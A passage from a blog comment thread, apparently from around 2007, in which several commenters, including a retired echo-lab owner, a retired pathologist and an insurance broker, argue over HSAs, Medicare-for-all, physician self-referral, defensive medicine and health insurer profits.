it. HSAs are best suited for the young and healthy and the very rich as a tax shelter, but I believe they should be allowed for those who want to opt our of the Medicare-for-all system. But then, they should be treated for what they are; tax shelters. Jack, I see your point, but that can happen to people regarless of whether or not they have an HSA plan. Many hospitals and UC centers will gladly set up a payment arrangemet with you if you don’t have the cash. Not everyone is going right to $5000 and $10000 deductibles on the HSA plans. You start out where you are comfortable, and you raise it up year after year as your HSA account (hopefully) grows. If you have the money set aside, it’s no problem. Besides, in most cases I’ve worked with, where the family is paying $1000 a month or more for a low or NO deductible plan, they go to about $300 a month or so for a $5000 HSA plan. That’s a savings of $700 a month! Chuck part of that away in the HSA, and only spend it IF you have to.. don’t give it to the insurance company for nothing. I didn’t live in Redding but believe that case was an aberration. I operated a mobile echo service and cardiac monitoring lab for 25 years before retiring in 2004. Two other books support my view: Money-Driven Medicine: The Real Reason Health Care Costs So Much (Hardcover) by Maggie Mahar Critical Condition: How Health Care in America Became Big Business – and Bad Medicine … by Donald L. Barlett, James B. Steele (ISBN: 0385504543) I’ve also covered much of this in my own book at. I’m not selling it to folks on this link; a free copy can be obtained by sending your mailing address to [email protected]. Barry raises a very interesting question. There is definitely data showing that health care utilization patterns for various conditions vary widely in different geographic areas. I will try to research this VA question to see if there is any such data and report back. Jack – by chance did you live in Redding, California? If so no wonder you have a biased view of cardiologists!! Have you read Stephen Klaidman’s book “Coronary: A true story of medicine gone awry”? That book does support your views although I believe it was an isolated case (and abetted by a for-profit hospital system, which is another whole discussion in itself). In your echo lab I assume you are talking about professional fees vs technical fees? (e.g. you charged to perform the echo but the doc read it?) If so, here’s another example – our hospital (in Md., where rates are controlled) charged about $200 in technical fees for preparing a microscopic slide of a breast or prostate biopsy, while I was allowed to charge $187.50 for reading the slide to diagnose whether or not the patient had cancer. Sometimes things work both ways. I’ll report back with any data I find on VA vs. FFS. Tim, the credit card companies get involved in the first $5000 deductible. Unless the patient has cash to spare, they will either have to charge the medical services or charge something else so their cash can go to the doctor. At interest rates pushing 30% and reaching 60% in some exhorbitant cases, the credit card companies will love the HSA. If the $5000 has been subsidized by someone else (say, an employer) it is not as big of a problem. But of course, those with employers are always better off than those without. >>> “In our litigious environment and in the interest of trying to be thorough, they might still order the tests.” Yes, but only at a fraction for defensive medicine and not profit purposes. Unnecessary ordering will go down significantly. Your situation sounds appropriate because it ended in a CABG. In my community the FBI was called in (by other cardiologists) because one cardiologist was doing a cath n virtually everybody that walked in the door. Our fee-for-service system stinks, and the VA’s salaried system is better. But as long as physicians end up part owners of their clinic it would negate the effect. The guy bringing in the most revenues would get the highest salary. But I too would like to see the stats. Jack, Explain to me why HSA’s are a credit card company’s dream? It costs me nothing to use mine, and I don’t even have to fund it if I don’t want to do so. I think you are confusing something else with “credit”. Where is the credit in an HSA? But their are a lot of tests that can be chalked up to defensive medicine, about 100% of them. Did it also rule out a cath? Yes. If there were not a profit motive (and reason) I’d be less concerned Jack — In your preferred world of salaried docs, while they would not have a financial incentive for ordering extra tests, they wouldn’t be penalized for doing so either. In our litigious environment and in the interest of trying to be thorough, they might still order the tests. I mentioned before that I’m a cardiac patient myself. The normal pattern, I suspect, is that the patient presents with an issue – chest discomfort, rapid heart rate, etc. The cardiologist does a regular EKG, checks blood pressure and orders a standard stress test, at least to get a baseline measure. If the regular stress test is inconclusive or abnormal, the doc may order either a thalium stress or a stress echo or, if it’s a rapid heart rate issue, a 24 hour monitor / recorder. If the next level of testing is either inconclusive or shows a problem, the gold standard test is angiography. I’ve been through angiography twice with one resulting in a CABG and one in a DES. If there is a bias to over treat, it’s probably because the consequences of under treating could be severe (patient has a heart attack or stroke that might have been prevented with testing) and the tests are not painful or invasive (except for angiography which is somewhat invasive). Charging $1800 when $500 might have been more appropriate is a different matter, but even the salaried doc might be inclined to order the tests if there is the slightest inclination that there might be a problem. Bev could probably speak to this with much more authority than I can, and I would be interested in her views. I wonder if there are any stats comparing, say, testing patterns by VA cardiologists with private FFS cardiologists treating patients of similar age with similar risk factors. Don’t get me wrong Bev (and welcome to the Blog), but I don’t classify all doctors as greedy charlatans. I believe a lot in the 80-20 rule and 80% of them are damned good people who try their best to treat the patient appropriately. Even some inept ones fall into this category, though they try with less success. But then comes the shades of grey that eventually meld into black who cause the problems, and the medical profession does a poor job of weeding them out (much because of the legal issues we both know about). I’d probably reverse the 80-20 rule for attorneys, but it still applies. I don’t have many friends in the arena. But for 25 years I owned an echo lab and frequently heard my technicians asking each other “Why in the hell did the doctor order an echo on this guy or that gal?” If they charged only $500 for it I would not be critical; an $1800 echo is a bit much. Ruling out the need for the cath ended when the tech removed the transducer from the patient’s chest. What happens after that is called anything from fair to gouging, when the doc sends the bill, and some of the best physicians in the area got caught up in the ease of charging $1800. We charged only $300, did 95% of the work and made 10% profit. He did 5% and received $1200-$1500 profit (except for Medicare, which only reimbursed an appropriate $400). Did the $400 echo provide as much legal protection as the $1800 one? Of course. But their are a lot of tests that can be chalked up to defensive medicine, about 100% of them. Did it also rule out a cath? Yes. If there were not a profit motive (and reason) I’d be less concerned. And I agree with your assessment; reform will benefit our kids, not us. Arguing in blogs is fun to this newbie! Jack, don’t confuse cost and medical necessity in your zeal to prove all docs are greedy charlatans. One can argue endlessly over what something should cost (I don’t think $1000/hr lawyers or 900K artwork done by a pseudo-four yr old are worth it either) – but, was that $1300 echocardiogram necessary or not? Did it replace a $10,000 cardiac catheterization and thus save $$? (And BTW, the doc would make more $$ on the catheterization). And I am a patient, too, with a high-deductible policy, so don’t think I’m not freaked out by paying for my yearly endoscopies (yes, they are necessary in my case) Look at both sides of this issue, not just knee-jerk reactions. Regarding defensive medicine, pathologists also run the clinical laboratory, from which neither the clinician nor the pathologist profits. (any more). We were constantly having to question over-ordering of common or esoteric tests in the name of “rule out _____” (some rare disease that the doc was scared of missing.) Finally, re who’s driving overuse, don’t forget the patient who runs to the Dr. for every cold, which will get better in 14 days without treatment or 2 weeks with treatment. This is a serious problem when the patient has no “skin in the game”, as Washington Post columnist Steven Pearlstein likes to observe. One thing for sure, there is no magic bullet and health care reform will be messy and prolonged. But I believe it will happen, over time – for our kids’ generation! bev, M.D. Thanks Barry. I haven’t seen this before, but just the introduction discloses a major flaw in how we report Medicare “expenditures.” These are not expenditures as you and I would properly identify them; they are “charges” that resulted from and were commanded by the physicians who ordered the tests. The cost of the Medicare system is being driven by the physicians who are profiting from it. The patients are not ordering these procedures themselves. I would lay the responsibility of the Medicare overuse 90% on physicians themselves, and the lifting of the Stark rules by Republicans provided the key to the gate. For physicians claiming that Medicare does not reimburse enough, they seem okay with making it up in volume. 🙂 That said, not all overuse is due to physician involvement. Nursing homes that place patients in front of a TV set and then bill Medicare for a “therapy session” ought to be hung out to dry. But the feds must rely on whistle-blowers, and few employees recognize their duty to do so. We can thank Bush and the deficit for cutting resources to monitor these programs. (I’m not real happy with my own party for the handling of this). Jack, I thought you and the others might be interested in this Congressional Budget Office study which contains some of the most interesting and comprehensive information I’ve seen about high cost vs low cost Medicare beneficiaries. >>> “So far, Medicare hasn’t been able to control its cost growth any better than private insurers (and self-insurers) have.” I’ll give you at least part of that. The Medicare system experiences less fraudulent billing because the federal penalties involve jail time. But the politicians lifted many of the (Rep. Pete) Stark regulations that were designed to (and did) eliminate physician self-referrals to labs in which they had a financial interest. Now doctors can even be partial owners in the hospitals they refer patients to, so you now see them referring their profitable patients to their own hospital and their unprofitable patients to the hospital down the street. >>> “Medicare can get away with its dictated prices because hospitals and other providers can still make up any shortfall by cost shifting to private insurers. If everyone had to accept Medicare rates, quality of care will likely suffer ….” Barry, that simply is not true. If all we had was Medicare the system would survive quite reasonably and no rationing would be necessary (except for breast implants, holistic medicine and alternative medicines, which few support paying for). With Medicare-for-all there would be no bad debt, cost shifting or bankruptcies. I would support a 5-10% increase over Medicare’s current reimbursements, but it is not the scrooge some people make it out to be. Do they block exorbitant billing? You betcha, and good for them. I’d like to put my fingers on that data too. I once had it and I believe it came from Health Affairs and was developed by docs at Johns Hopkins. But there is no doubt that us old geezers cost more than those under 65. I’ve heard that 5% of the population consumes 70% of the care, and most goes to the over-65 crowd. >>> “I don’t know the answer, but I darn sure think we should know before we turn 16% of our economy upside down and inside out.” Sort of sounds like you want a study committee to determine whether we need a study committee! How many more studies do you want? I remember Philip Morris wanting more than the 20,000 we had done before they’d admit that smoking is bad, but give me a break. Yeah, all of those answers would be interesting but would not alter what we already know: we have the most expensive health care system in the world, we cover only 85% of our people, and our care lags terribly behind all other countries that have universal health care. We have the best single-payer system in the world (Medicare), but we refuse to extend it to everybody because it will harm the profitability of the insurance industry. Okay, so let’s take it a step at a time. Let businesses buy into the Medicare system and get a tax break for the premiums (like they do for private insrance). Or let’s eliminate the middleman and have the taxpayers fund it from the start. If Medicare remains as good as it is today, it will win out. If it is starved (as they are attempting to do in Canada), we’ll see the wealthy opt for boutique physician practices and the rest of us suffer wait times. If we were ever fortunate enough to get the money out of our political system, that won’t happen and we’ll all be pretty happy with the final results. I’m sure you remember Vioxx, which was killing people because the parent company had their way with the FDA and pushed the product through because time cost them money. Jack, I’m sure you remember the Thalidomide disaster in the early 1960’s (horrible birth defects, etc.). After that, the FDA’s drug approval process became super cautious because no regulator wanted to be the one who approved the next Thalidomide. Obviously, no drug is risk free, and we can’t do 10 or 20 year clinical trials before we pronounce a new drug sufficiently safe to warrant approval. A balance has to be struck. We do the best we can. I repeat my support for Medicare competing on a level playing field against private insurers to provide insurance to the non-Medicare eligible population. I define level playing field to mean that Medicare would have to cover its costs solely with premium revenue. The industry opposes this because it doesn’t trust politicians to guarantee that Medicare will have to compete on this basis and not be subsidized with general tax revenue if its premium income proves insufficient to cover medical costs. So far, Medicare hasn’t been able to control its cost growth any better than private insurers (and self-insurers) have. Medicare can get away with its dictated prices because hospitals and other providers can still make up any shortfall by cost shifting to private insurers. If everyone had to accept Medicare rates, quality of care will likely suffer, and/or care would have to be implicitly rationed either by artificial constraints on supply or global budgets. As for the effectiveness of other systems to provide healthcare at lower costs, I would like to see the data that John Fembup asked for several months back. That is: per capita healthcare spending for the 65 and over population only, not the total population. For the U.S., that means most of Medicare spending, Medicaid spending for long term care for the elderly, spending by private insurers who sell Medicare supplemental policies to the elderly, and out of pocket spending for services not covered by insurance including long term care costs for the elderly not yet eligible for Medicaid. Let’s then compare that to the per capita numbers spent by the OECD countries on their 65 and over population. Then we could go through the same analysis for the 0-64 population. Let’s see if the gaps are significantly different and to what extent they are attributable to differences in care at the end of life (and the very beginning of life in the case of premature babies), defensive medicine, and differences in compensation paid to providers. It may well turn out that our higher costs may have a lot more to do with our values, our provider compensation, and our litigation system impacting the delivery of healthcare while our insurance financing mechanism may be relatively unimportant. I don’t know the answer, but I darn sure think we should know before we turn 16% of our economy upside down and inside out. Where I disagree with Barry is that I prefer a Medicare-for-all system and he prefers a free-for-all system (though we aren’t far apart on other issues). Having been in the device manufacturing arena for ten years prior to my independent lab service (for 25 years), let me assure you that R&D would not walk under a single-payer system. That we would then be serving 45 million more people, we’d actually increase the need for product and I think they’d be quite happy with that. But that said, I’m sure you remember Vioxx, which was killing people because the parent company had their way with the FDA and pushed the product through because time cost them money. Getting it to market early was more profitable than getting it there safely. And having watched my old company just get FDA approval on a new device, I will attest to the bureaucracy, but mostly it was for the safety of the patient. I wouldn’t want it any other way. The NIH currently funds 35% of all Pharma R&D, and I would trust them to fund it all and own the resulting patents and then license manufacturers to produce. If it went from NIH to FDA to manufacturer I think we’d see great improvement. Let’s also allow private industry to compete in the process, but without taxpayer subsidies. Barry, you supported a Medicare-for-all system as long as the right to opt out permitted people to buy on the outside. That would add good competition and I wholeheartedly support the idea. Along that line, I support the government getting into the energy market as a competitor to Big Oil. It can buy an existing exploration company and go after the Gulf in competition with everybody else. If they end up being the cheapest kid on the block we will have proved that the government can do it, and at the very least it will drive down the current mega-profits. If it doesn’t work we can auction it off. There will be many potential buyers. You suggest keeping the current for-profit system and worry about the consequences of being wrong. But we’ve already been proven wrong and it’s time to change. With costs twice those of every other country for lesser outcomes, I think we’ve already seen the consequences; we just refuse to accept the answer and make the necessary changes. That’s because we have what the other countries are not saddled with: a moneyed political system that prevents fixing the problem. (And yes, I’ll give you that they have under-the-table bribery; I’m talking about the $100 million per year in legal campaign contributions.) I’ve been thinking lately about the connection between improvement in our health over time, productivity, innovation, risk and profit. The main thing doctors have to sell is their time and their expertise. They can never squeeze more than 24 hours into a day, but they can build their knowledge base. When a patient presents with a problem, the doc has to try to diagnose it and recommend a course of action. Assuming testing of some sort is called for, advances from sophisticated analysis of blood and urine to detailed pictures from MRI’s give doctors diagnostic tools that either did not exist or were far more primitive a generation ago. New drugs can cure or at least manage disease that might have been a death sentence a generation ago. Devices like stents, pacemakers and defibrillators both significantly extend life and improve its quality as compared to a generation ago. Less invasive laproscopic surgical techniques shorten hospital stays and speed recovery times for patients undergoing a wide array of surgical procedures as compared to a generation ago. These drugs, devices, lab tools, MRI, etc. were developed and commercialized largely by for profit industry. If a heavy handed, monolithic, single payer system squeezed most or all of the profit out of the healthcare sector, there could be a significant adverse effect on innovation. I note that in the energy sector, for example, the government auctions the right to explore in, say, the Gulf of Mexico. It doesn’t try explore for, produce and refine oil and gas itself. Why? Because it knows it can’t do it as well as the private sector can. For the same reason, the Defense Department doesn’t try to build new combat aircraft. Instead, it contracts with Boeing or Lockheed-Martin, etc. because it knows industry can do it cheaper, better and faster. If the NIH, academic medical centers, and other non-profit entities want to partner with Big Pharma or the biotech companies to develop new drugs and share the profits, that’s fine by me. As a taxpayer, however, I have zero confidence in NIH’s ability to commercialize anything or to have the discipline to pull the plug on research projects that are non panning out. Since there are many R&D failures, industry has to do this routinely. In the investment business, to properly assess risk, it is critical to understand the consequences of being wrong. Jack and other single payer advocates seem to be 1,000% confident that we can cover everyone for the same or less cost with no rationing and no adverse effect on innovation. If they’re wrong, the adverse consequences, especially with respect to innovation, will be significant. Those consequences can be avoided by building on the for profit system we have. Even if it costs somewhat more in the end, it would be worth it to protect our innovators. As a pathologist, Bev, I’m sure you didn’t see the level of overuse that exists elsewhere. If these tests ordered by physicians who owned their own labs were not also profitable as hell, I’d perhaps agree with you. But 30 minute echocardiograms that reap a $1500 gross profit is pretty hard to write off as defensive medicine. “…..employers have no more business in the process than do the insurance companies”… I’m NOT kidding, right! First, employers simply add their costs to the price of the product and we consumers pay them back at the cash register. As a part of that very stupid part of our history, we force them to compete with foreign companies that do not have to add health care to the price of their product. Why in the world do you think the Big Three automakers are now making more cars in Ontario than they are in Detroit? Because Canada charges them $800 per employee per year and their costs in the US are $6500! Duh!!!! We are the only country in the world that does not have a universal health care system. Wake up and smell the coffee. I can certainly understand your ire if you are a broker and this is the way you make your living. But Tim, we don’t need people in your job to do it right. I spent 25 years in the health care industry before retiring in 2004, and I’m now on he best single-payer system ever: Medicare. And I didn’t need to go through an employer or agent to get there. And HSAs? A credit card company’s dream, and right behind them the bankrutcy attornies. They love you for it! Wow, quite an interesting discussion for a new reader. As a retired MD and a economic non-sophisticate, I can only offer a few insights: 1. Defensive medicine DOES definitely exist, never mind statistical studies “proving” otherwise (it’s almost impossible to measure accurately) and not because of the profit motive. I practiced it myself sometimes as a pathologist (although probably less so than others in my group) – it’s fear driven and due to the fact that medicine has many gray areas, which lawyers love to convert to black and white areas. 2. The issues of a screwed up health insurance system and a screwed up healthcare delivery system are inextricably intertwined, and both must really be fixed together, not separately. This is a massive task, however. 3. Medicine is inherently a “needle in the haystack” profession; 99% of patients with a certain symptom complex have no or insignificant disease. How do you cost effectively, but reliably, find the 1% with the SAME symptoms but serious disease, and save them? What if that 1% includes YOU? This problem underlies all the issues in points #1 and 2. bev, M.D. Health INSURANCE is not expensive if you buy it right. The statement made above by Jack that “employers have no more business in the process than do the insurance companies”… you’re kidding, right? First off, 99% of America is employed by someone else. In the very least it’s fair to say that there are VASTLY more employees than employers. If you have always been an employee who was offered group health through your employer, and you were lucky enough that the employer covered the majority of the premium for you, you would have NO IDEA what insurance actually costs as they are buying it. You would only have an idea of the true cost of that plan once you were let go and received a COBRA statement. Out of THAT pile of ignorant masses, I’d be willing to bet that 99% of those people who get a COBRA statement don’t even realize what COBRA is… just a law that allows them to stay in “the group” for a short time, but now they get to pay the full amount themselves. If people really had an idea what the difference between BENEFITS and INSURANCE really are, they’d just buy INSURANCE. But that’s not the case for the vast majority of employers who provide benefits and insurance to their employees. People need to be educated as to what they are really getting, and what they really need. As it is right now, everyone is brainwashed into thinking “group insurance” is the King, because it’s so inexpensive and office visits only cost $20! Yay!! Then they get a COBRA statement and get the truth. I wonder how many single males at GM realize they have maternity coverage? I wonder how many people at GM with no allergies realize they can get allergy shots for $5? I wonder how many females on GM’s plan know they are covered for a PSA test? I could go on and on, but you get my point. Secondly, the rising costs of healthCARE having nothing to do with health INSURANCE directly. But it’s the carriers networks whose price negotiations limit how much they can charge ( see NETWORK DISCOUNT on any EOB ). If you don’t have any insurance, that office visit may cost you $100. but if the office is IN NETWORK, the charge may be limited to $50 or $60. If you have a copay built in for less, the carrier just picks up the difference “for you”. Yeah.. you’ve already given them the money to pay it and then some. Good idea with that plan… for them, not for you. Did you think the doctors make money and live on $30 office visits? Hardly. The carriers beat them down, then they raise your premiums more than enough to cover the expense if you use it. It’s like gambling at the $5 table in Vegas for $7. Even if you win, you lose. The health carriers protect their wealth, with any means they see fit, legal or not. If they can scare you into thinking insurance needs to be expensive so you will buy into the hype and not question it, so be it. I and other agents have lost our appointments with one of the biggest carriers in the US for showing people how to save money by using an HSA plan instead of a fully blown ridiculous plan with all kinds of built in garbage. Who is the problem again? Did you know Anthem in California is now publicly cancelling any agent who shows anyone how to use a high deductible plan and self insure underneath the deductible? Did you know there federal law says you CAN do that? Their contract may say “cancel without reason”, but I think they just upped the ante and gave a big reason. If you show people how to save money, you will be cancelled. I’d call that pretty obvious about what the problem is with health insurance, and who is to blame, and how it can be fixed. With all of your justification for rising insurance industry profits, jd, why must health care be a commodity marketed on the New York Stock Exchange? Or anywhere else? And if you support reasonable profits, why not also support unreasonably high profits? And what’s wrong with gouging? When does reasonable profits end and gouging begin? Why aren’t we providing health care as we are other community services like police and fire protection? Why are we allowing the shareholders who control it to make their millions on the backs of the sick? Some of my own stocks are in the healthcare market, but I’d give up those profits in a heartbeat for the good of the country. Most of us would. If I hear you right, we have record profits for the investors, which is a direct result of a record number of diagnostic tests performed by physicians. So the investors really become cheerleaders for overutilization and misuse of the system. Callous, perhaps, but on target. >>> “do you mean profit is not OK in any area of healthcare: pharma, physicians, hospitals, device makers?” Profits usually lead to the controlling of healthcare by the shareholders. Profits are not the same as “higher-than-normal salaries” which attract the best people and I support. But if the government worked correctly for the people it would make the necessary investments in the health care infrastructure and run it as a service to the public, much like it does the National Guard and armed forces. Or should we turn all of these, plus health care, over to Halliburton? No, if they are publicly run they are accountable to the voters. Medicare is for us old geezers; why do we have a cutoff at 65? >>> “I stand by my statement that insurance profits are a very small part of the problem, and almost no part of the skyrocketing costs we have faced in the last 50 years.” You are confusing profits with burden. I trust that profits have remained at 5%, but the high costs of executive salaries and marketing and broker commissions, all of which has been rising, is offloaded to the patient and ultimately to the public. While we need payment administrators, like Medicare, we do not need insurance companies and all of their baggage. Not to be forgotten are Pharma profits. Rather than having we taxpayers fund 35% of medicine’s R&D, as we do today, I’d like to see us fund 100% and end up owning the patents we paid for. Then the taxpayers could license the manufacturing to multiple companies and let them truly compete in the marketplace. But that’s a story for another day. I’ve covered it in my book in great depth, and to avoid marketing it here, anybody on this thread is welcome to a free copy (up to 10). Just send your mailing address to [email protected] and I’ll see that you get a copy. You can see its description at, Barry, I tend to agree with you about the deductible being reasonable, so long as cost-sharing is dramatically reduced after it is reached. It’s the 20% co-insurance that kills those who have high expenses, unless there is a modest annual or lifetime maximum out of pocket cost. Also, I think it got lost in the debate that you had proposed subsidies to lower income individuals so that they did not pay the full deductible. And someone at 100% FPL or less really can’t pay much of anything out of pocket. Even a token copay would do more harm than good at that point. By the way, Jack, I wholeheartedly endorse this statement: “I reccommend a salary system much like they have in the VA and armed forces services, but that is hard to implement when physicians become partners in ownership of clinics.” Not only would we be able to remove many perverse incentives, but we would make insurance much simpler to administer. The only thing I will say in favor of FFS is that it provides an incentive to do record keeping of exactly what was done. One thing health plans in New York have experienced is that under a capitated or salary system, providers are not motivated to keep as careful records of what they did and did not do. We have actually gone more towards the FFS model in NY partly in order to satisfy the Dept. of Health’s demands for utilization and expense data. It’s disappointing, but Spitzer’s team is aware of the issue and I’m hopeful they will find a way to incentivize reporting in non-FFS models. Scott and Jack, Yes, there are record profits in the health insurance industry. But just think for a second: there are record expenses on healthcare; therefore there are record premiums charged to cover those expenses; therefore there are record revenues for health insurance companies; therefore there are record profits assuming that margins don’t decline. In the last 5 years or so the underwriting cycle has been on an upswing, so margins have increased a little above the 5% historical average. From data coming out now, it looks like the underwriting cycle has peaked and there is a good chance that medical costs will increase faster than premiums in the next 5-7 years. So, yes, record profits. But the overwhelming reason for this is record medical costs. If you understand insurance, you know that this must be so (again, ignoring the underwriting cycle, or the possibility of deficit spending in the case of a publicly-funded insurance system). By the way, not one of the examples Scott gave contradicted what I said about health insurance having modest margins. None of those examples gave profit margins at all, which is what I was talking about. You’ll make your best case by looking at United, but they are the exception not the rule. Jack, do you mean profit is not OK in any area of healthcare: pharma, physicians, hospitals, device makers? If not, why not? And why is profit OK for car insurance, life insurance, health food vendors, farmers, etc., etc., but not for health insurance? By “profit” I just mean earning more than you pay out in expenses. Non-profits make “profit” too in this sense. I completely understand the aversion to large profits, but why is a profit of, say, 3% per year so egregious? And don’t forget that for a non-profit, that almost all of the money goes back into the system as investments in the company or reductions in premium increases. Let’s say you made a rule that insurance companies (or the public system into which one pays) could not make a profit, but had to return any additional money into next years’ premiums/taxes. What would that change? Do you think it would make health insurers stop issuing denials? Do you think they’d stop doing utilization review to try to weed out fraud or poor performers? They wouldn’t, and shouldn’t. Yes, insurers make providers jump through hoops and sometimes delay payment using legal procedures. But the absolutely primary reason for this is to lower medical costs in order to keep medical costs in line with projections and to keep premiums competitive. Think of it this way: if the insurance industry is throwing up so many barriers to providers out of greed, why has it had an average net margin of around 5% for the last 20 years? Why hasn’t it been going up all the time? Why isn’t it up there with pharma, banking, big oil, etc.? I stand by my statement that insurance profits are a very small part of the problem, and almost no part of the skyrocketing costs we have faced in the last 50 years. Peter!!! You are not saying that a scandal erupted when physicians started sending patients to labs in which they had a financial interest are you? Both Ekic and pgbMD would be very upset at this claim. I can’t believe that it would be a cost factor in Canada as well…… 🙂 Unfortunately, it’s a daily occurence here. These are money machines. Once they buy them they must use them (or maybe they only use them for defensive medicine). >>>”United Healthcare is currently testing a real time claims adjudication system that it hopes to be ready to roll out nationally later this year.” Barry, You are advocating a national health identity card? Issued by – each insurance company or the government? Would this card then have access to IRS data so that those who get subsidized care would have that information on the card? >>>.” It appears that the cost of healthcare is out of the hands of employees and employers. I think if it were that easy employers would already be doing this and it would show up in the cost of the system. The system is not being controlled by payers, it is being controlled by providers. We have to change that. >>>”If they are identified as high utilizers vs their peers and cannot improve within a reasonable time, they could face removal from the insurers’ networks.” Boy I’d like to hear Eric Novack’s opinion on that. Wait – I have to plug my ears first. Talk about managed care and insurance intervention in healthcare decisions. I’m not sure that will fly Barry. In Canada physicians negotiate fees and there is a set reimbursement rate for procedures. This helps control costs and does not interfer with medical decisions. Many years ago docs in Ontario could own their own private labs. This became a scandal as docs sent a lot tests to their own labs that no one could say were legit. I think if you take the profit incentive out of docs/hospitals decisions then the rest becomes health delivery issues and cost will be controlled. >>>”As for quality, if the information were available, the patient could check surgeon outcomes data, hospital infection rates and complication rates, etc.” I’m married to a nurse and am fairly/somewhat/maybe not so smart on these issues. I also have access to advice from medical people my works with as well as a friend who spent years in the private lab business and It’s still a struggle trying to figure out who to see and if what they say makes sense. I don’t think the average joe will be able to, or have the dedication to, try to figure this all out. People can’t even figure out which mechanic to pick. Would you know how to pick your mechanic or is there a lot of blind trust going on? Thanks Scott, and I’d add that “profits” are calculated after deducting for exorbitant executive salaries and the other waste that I claim we should elimnate. “In contrast to these true robber barons, managed care has historically made net margins of around 5%. So “mega” profits of insurers have never been a big problem, though I agree with you that there is no compelling reason why there should be for-profit health insurance.” – jd I have a problem with this. Historically 5% maybe, but in today’s world insurance companies are reporting RECORD profits, while at the same time lowering reimbursement to medical providers. So mega profits do exist and it is a problem. The compelling reason for for-profit health insurance is the record profits. Aetna 2006 Q3 10/26/06: Third-quarter net income was $476 million, a 37 percent increase over the prior- year quarter. The increase in operating earnings reflects an 11 percent increase in revenue primarily from year-over-year membership growth and premium and fee rate increases. Cigna 2006 Q3 11/1/06: Net income was $268 million, a 38% increase over third quarter 2005. Coventry 2006 Q3 10/27/06: Revenues up 14.0% over the prior year quarter. “We are right on track with another quarter of record earnings,” said Dale B. Wolf, chief executive officer of Coventry. April 2006: Coventry rated the worst payor in a survey of Kansas City physicians commissioned by Mid America Medical Affiliates. Humana 2006 Q2 10/30/06: Consolidated revenues up 48 percent to $5.65 billion. Michael B. McCallister, Humana’s president and chief executive officer stated,”With year-to-date revenues up nearly 50 percent, 2006 is playing out as planned and positioning us for another year of robust earnings and revenue growth in 2007.” UnitedHealth Group 2006 Q3 10/19/06: Third Quarter Revenues Rose 55% to $18 Billion and net income rose 38%. UnitedHealth Group now expects full-year earnings per share growth of at least 25 percent in 2006. Stephen J. Hemsley, president and chief operating officer, stated, “The broad and evolving health care markets are increasingly engaging the capabilities which we have cultivated, even as our business execution steadily continues to improve. WellPoint Health Networks / Anthem 2006 Q3 10/26/06: Third quarter 2006 net income was $810.8 million, an increase of 26.5 percent. Barry, you are obviously not part of the real world. People keeping up necessities like homes are cars will always take priority over medicines and health care. So will feeding their children. But what you are proposing is a penalty on health care and I disagree with that. It is not humaine, nor is it necessary. And horray for United Health care. I much prefer a system where coverage is not the issue, but care is. I would expect this type of operation in a managed care system. >>> .” First, employers have no more business in the process than do insurance companies. They are both problems, not solutions. You keep adding cooks in the kitchen, and we need only one. >>> “Standard services like MRI’s are pretty much the same everywhere and should be treated like the commodity that they are – done at the facilities that offer the best price.” I agree that MRIs are a commodity, and a very profitable one at that. So are you going to go to the facility that is the cheapest? Perhaps using old technology to remain the cheapest? MRIs should only be done in hospitals on behalf of the ordering physician. Physicians and clinics should not own MRIs because they become cash cows. And Barry, “defensive medicine” is often the excuse physicians use to justify ordering too many highly profitable tests. Take the profit out of those tests and you will see volumes fall. Peter and Jack, First, regarding the issue of people not getting needed services because of a comparatively high deductible, I think I just apparently have more faith in people’s ability and willingness to act responsibly and in their own best interest than you do. They seem to be able to maintain their homes and cars without the benefit of third party insurers paying the bills for them, and I think they can pay for the routine care needed to maintain their bodies out of their own pocket as well. Peter, on determining whether or not the deductible has been met, technology is about to solve this. United Healthcare is currently testing a real time claims adjudication system that it hopes to be ready to roll out nationally later this year. Upon presenting the card, the system would be able to determine, within a matter of seconds (a) does the patient have insurance with us, (2) is this a covered service, (3) what is the contract rate, (4) does the patient have any remaining out of pocket responsibility, and (5) if so, how much. I think it is similar in concept to how bank ATM technology works. With respect to the issue of price and quality transparency, I’ll make two points. First, assuming we maintain the employer based system for the time being,. Doctors, for their part, would know or should know that the cost of healthcare services that they drive (not just provide themselves) is being tracked. If they are identified as high utilizers vs their peers and cannot improve within a reasonable time, they could face removal from the insurers’ networks. That should focus their attention. As for quality, if the information were available, the patient could check surgeon outcomes data, hospital infection rates and complication rates, etc. Standard services like MRI’s are pretty much the same everywhere and should be treated like the commodity that they are – done at the facilities that offer the best price. On living wills, I don’t have data on this, but I think most elderly people who execute these choose no heroics if the prognosis is dismal. It is usually middle aged children who have not yet come to grips with their own mortality that want the doctors and hospital to “do everything.” As a last resort, we could charge a higher premium for people who want everything done, but I wouldn’t advocate that, at least at first. Finally, I think most docs will tell you that defensive medicine is a significant contributor to healthcare costs. It is not correct to just look at malpractice premiums or court awards and say it’s only 1% of healthcare costs or less which makes it a non-factor in the overall cost picture. I’ve seen estimates that suggest that defensive medicine could account for as much as 10% of healthcare costs. Barry, the problem I see with #1 (reasonable approach based on ability to pay) is where in the system is this going to be administered. How will the doc/hospital determine who gets billed for deductible/co-pay and who doesn’t and for how much? What you advocate is effectively and efficiently done in Canada through the tax system. At present in Ontario there is an $800 per year healthcare surcharge per family (not sure about individuals) collected at tax time – very efficient and clean, with NO deductibles or co-pays. As well if you set a system based on this it does not determine who actually has the $1000 lying around. Given Americans ability to be, up-to-the-eyeballs in debt, I don’t know who would get caught in this and how we would collect it. Getting it at tax time or as at payroll deduction is the most cost effective and fair way to do it. #2 won’t work because docs don’t care about cost and performance. They may care about performance (for patients sake) but they have no stake in cost control as is shown in both singel pay and the U.S. system. #3 The use of best practice can be used in every system. I guess I wonder who will force best practice on the docs. In a single pay system where budgets and costs are the driving force it is in the hospital’s best interest to force best practice. #4 Can/is be/being implemented in Canada through investments in IT. There at least, with a more central system, this can be coordinated and standardized – who’s going the do that here? #5 I guess you could do that, but there is no limit to how many people will say – spend the bank when giving me medical care. It depends on the approach I guess. Would people get cheaper insurance if they opted for a living will? What if they said spend the wad – would you limit that? #6 We have talked about this ad nauseam and have shown this is more an issue for docs and insurance companies not significant in driving health costs. Canada has less law suits but higher awards – partly because of law, partly because of attitude, partly because cost of living there is higher. And again I stress, if healthcare cost (universal, tax supported system) were not on the table in these law suits there would be no need for such high awards. >>> “1. A meaningful deductible of at least $1,000 for an individual and $2,500 for a family with 100% payment above that point.” The credit card companies and bankruptcy attorneys are going to love you for that suggestion, Barry. Indeed it may have delayed my operaation until I needed a full knee replacement, where I did it earlier and nly got a half knee replacement. >>> “2. Pricing and quality transparency so doctors, who drive virtually all healthcare spending, can know who the most cost-effective hospitals, imaging centers, and specialists” I agree, but be careful. People will not gravitate to the lowest bidder when the health of a loved one is at 